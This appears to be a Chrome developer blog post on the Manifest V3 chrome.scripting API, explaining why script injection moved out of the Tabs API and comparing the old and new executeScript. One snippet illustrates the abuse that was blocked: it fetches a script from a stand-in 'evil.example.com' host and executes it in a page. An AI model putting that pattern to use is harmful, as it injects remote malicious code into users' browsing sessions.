Introducing chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 introduces a number of changes to Chrome's extension platform. In this post, we'll be exploring the motivations and changes introduced by one of the more notable changes: the introduction of the chrome.scripting API.

What is chrome.scripting?

As the name might suggest, chrome.scripting is a new namespace introduced in Manifest V3 responsible for script and style injection capabilities.

Developers that have created Chrome extensions in the past may be familiar with Manifest V2 methods on the Tabs API like chrome.tabs.executeScript and chrome.tabs.insertCSS. These methods allow extensions to inject scripts and stylesheets into pages, respectively. In Manifest V3, these capabilities have moved to chrome.scripting and we plan to expand this API with some new capabilities in the future.

Why create a new API?

With a change like this, one of the first questions that tends to come up is, "why?"

A few different factors led to the Chrome team deciding to introduce a new namespace for scripting. First, the Tabs API is a bit of a junk drawer for features. Second, we needed to make breaking changes to the existing executeScript API. Third, we knew that we wanted to expand scripting capabilities for extensions. Together, these concerns clearly defined a need for a new namespace to house scripting capabilities.

The junk drawer

One of the issues that has been bothering the Extensions Team for the past few years is that the chrome.tabs API is overloaded. When this API was first introduced, most of the capabilities it provided were related to the broad concept of a browser tab. Even at that point, though, it was a bit of a grab bag of features and over the years this collection has only grown.

By the time Manifest V3 was released, the Tabs API had grown to cover basic tab management, selection management, window organization, messaging, zoom control, basic navigation, scripting, and a few other smaller capabilities. While these are all important, it can be a bit overwhelming for developers when they're getting started and for the Chrome team as we maintain the platform and consider requests from the developer community.

Another complicating factor is that the tabs permission is not well understood. While many other permissions restrict access to a given API (e.g. storage), this permission is a bit unusual in that it only grants the extension access to sensitive properties on Tab instances (and by extension also impacts the Windows API). Understandably, many extension developers mistakenly think they need this permission in order to access methods on the Tabs API like chrome.tabs.create or, more germanely, chrome.tabs.executeScript. Moving functionality out of the Tabs API helps clear up some of this confusion.

Breaking changes

When designing Manifest V3, one of the major issues that we wanted to address was abuse and malware enabled by "remotely-hosted code" - code that is executed, but not included in the extension package. It's common for abusive extension authors to execute scripts fetched from remote servers to steal user data, inject malware, and evade detection. While good actors also use this capability, we ultimately felt that it was simply too dangerous to remain as it was.

There are a couple different ways that extensions can execute unbundled code, but the relevant one here is the Manifest V2 chrome.tabs.executeScript method. This method allows an extension to execute an arbitrary string of code in a target tab. This, in turn, means that a malicious developer can fetch an arbitrary script from a remote server and execute it inside any page the extension can access. We knew that if we wanted to address the remote code problem that we would have to drop this feature.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

We also wanted to clean up some other, more subtle issues with the Manifest V2 version's design, and make the API a more polished and predictable tool.

While we could have changed the signature of this method within the Tabs API, we felt that between these breaking changes and the introduction of new capabilities (covered in the next section), a clean break would be easier for everyone.

Expanding scripting capabilities

Another consideration that fed into the Manifest V3 design process was a desire to introduce additional scripting capabilities to Chrome's extension platform. Specifically, we wanted to add support for dynamic content scripts and to expand the capabilities of the executeScript method.

Dynamic content scripts support has been a long-standing feature request in Chromium. Today, Manifest V2 and V3 Chrome extensions can only statically declare content scripts in their manifest.json file; the platform doesn't provide a way to register new content scripts, tweak content script registration, or unregister content scripts at runtime.

While we knew that we wanted to tackle this feature request in Manifest V3, none of our existing APIs felt like the right home. We also considered aligning with Firefox on their Content Scripts API, but very early on we identified a couple major drawbacks to this approach. First, we knew that we would have incompatible signatures (e.g. dropping support for the code property). Second, our API had a different set of design constraints (e.g. needing a registration to persist beyond a service worker's lifetime). Finally, this namespace would also pigeonhole us to content script functionality where we're thinking about scripting in extensions more broadly.

On the executeScript front, we also wanted to expand what this API could do beyond what the Tabs API version supported. More specifically, we wanted to support functions and arguments, more easily target specific frames, and target non-"tab" contexts.

Moving forward, we're also considering how extensions can interact with installed PWAs and other contexts that don't conceptually map to "tabs."

Changes between tabs.executeScript and scripting.executeScript

In the remainder of this post, I'd like to take a closer look at the similarities and differences between chrome.tabs.executeScript and chrome.scripting.executeScript.

Injecting a function with arguments

While considering how the platform would need to evolve in light of remotely-hosted code restrictions, we wanted to find a balance between the raw power of arbitrary code execution and only allowing static content scripts. The solution we struck on was to allow extensions to inject a function as a content script and to pass an array of values as arguments.

Let's take a quick look at an (oversimplified) example. Say we wanted to inject a script that greeted the user by name when the user clicks the extension's action button (icon in the toolbar). In Manifest V2, we could dynamically construct a code string and execute that script in the current page.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

While Manifest V3 extensions can't use code that isn't bundled with the extension, our goal was to preserve some of the dynamism that arbitrary code blocks enabled for Manifest V2 extensions. The function and arguments approach makes it possible for Chrome Web Store reviewers, users, and other interested parties to more accurately assess the risks an extension poses while also allowing developers to modify an extension's runtime behavior based on user settings or application state.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Targeting frames

We also wanted to improve how developers interact with frames in the revised API. The Manifest V2 version of executeScript allowed developers to target either all frames in a tab or a specific frame in the tab. You can use chrome.webNavigation.getAllFrames to get a list of all frames in a tab.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3, we replaced the optional frameId integer property in the options object with an optional frameIds array of integers; this allows developers to target multiple frames in a single API call.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Script injection results

We've also improved the way we return script injection results in Manifest V3. A "result" is basically the final statement evaluated in a script. Think of it like the value returned when you call eval() or execute a block of code in the Chrome DevTools console, but serialized in order to pass results across processes.

In Manifest V2, executeScript and insertCSS would return an array of plain execution results. This is fine if you only have a single injection point, but result order is not guaranteed when injecting into multiple frames so there's no way to tell which result is associated with which frame.

For a concrete example, let's take a look at the results arrays returned by a Manifest V2 and a Manifest V3 version of the same extension. Both versions of the extension will inject the same content script and we'll be comparing results on the same demo page.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

When we run the Manifest V2 version, we get back an array of [1, 0, 5]. Which result corresponds to the main frame and which is for the iframe? The return value doesn't tell us, so we don't know for sure.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

In the Manifest V3 version, results now contains an array of result objects instead of an array of just the evaluation results, and the result objects clearly identify the ID of the frame for each result. This makes it much easier for developers to utilize the result and take action on a specific frame.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Wrap up

Manifest version bumps present a rare opportunity to rethink and modernize extensions APIs. Our goal with Manifest V3 is to improve the end user experience by making extensions safer while also improving the developer experience. By introducing chrome.scripting in Manifest V3, we were able to help clean up the Tabs API, to reimagine executeScript for a more secure extensions platform, and to lay the groundwork for new scripting capabilities that will be coming later this year.